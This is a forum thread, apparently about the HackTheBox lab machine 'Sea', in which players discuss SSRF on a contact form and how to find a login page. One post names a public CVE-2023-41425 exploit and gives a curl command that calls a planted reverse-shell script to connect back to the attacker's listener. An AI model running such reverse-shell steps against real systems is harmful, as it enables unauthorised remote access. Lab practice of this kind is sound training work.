[andy1]

Right now im kind of thinking some kind of SSRF (server side request forgery vulerability on that contact.php form. ) Since it seems to be reaching out to what ever website we put in the form

might be possible to have it reach out to the box its self making request to access resources on the box from its self thus bypassing normal security policies cause the box trust its self.

[abhiramhtb]

https://packetstormsecurity.com/files/17...ution.html

try this

[osamy7593]

https://packetstormsecurity.com/files/17...ution.html

try this

bro where is the login path

[upl04d3r]

https://packetstormsecurity.com/files/17...ution.html

try this

did you find the login page?

[kewlcat002]

https://packetstormsecurity.com/files/17...ution.html

try this

bro where is the login path

there is no login page, that CVE is not applicable. The way forward is exploiting SSRF on the website I believe, there is nothing else

[johnny123456]

https://packetstormsecurity.com/files/17...ution.html

try this

bro where is the login path

there is no login page, that CVE is not applicable. The way forward is exploiting SSRF on the website I believe, there is nothing else

yes there is, check /loginURL

[l3rka]

login page
http://sea.htb/index.php?page=loginURL

[RedTeamer]

USER FLAG
https://github.com/prodigiousMind/CVE-2023-41425    Use this exploit for revshell and listen in an port then run the command curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.x.x&lport=9001'

[abhiramhtb]

https://packetstormsecurity.com/files/17...ution.html

try this

bro where is the login path

there is no login page, that CVE is not applicable. The way forward is exploiting SSRF on the website I believe, there is nothing else

yes please check man

[tidustidem]

I think SSRF is the way to exploit the server. Found that the server hitting back to the attack machine. It need to bypass something I think.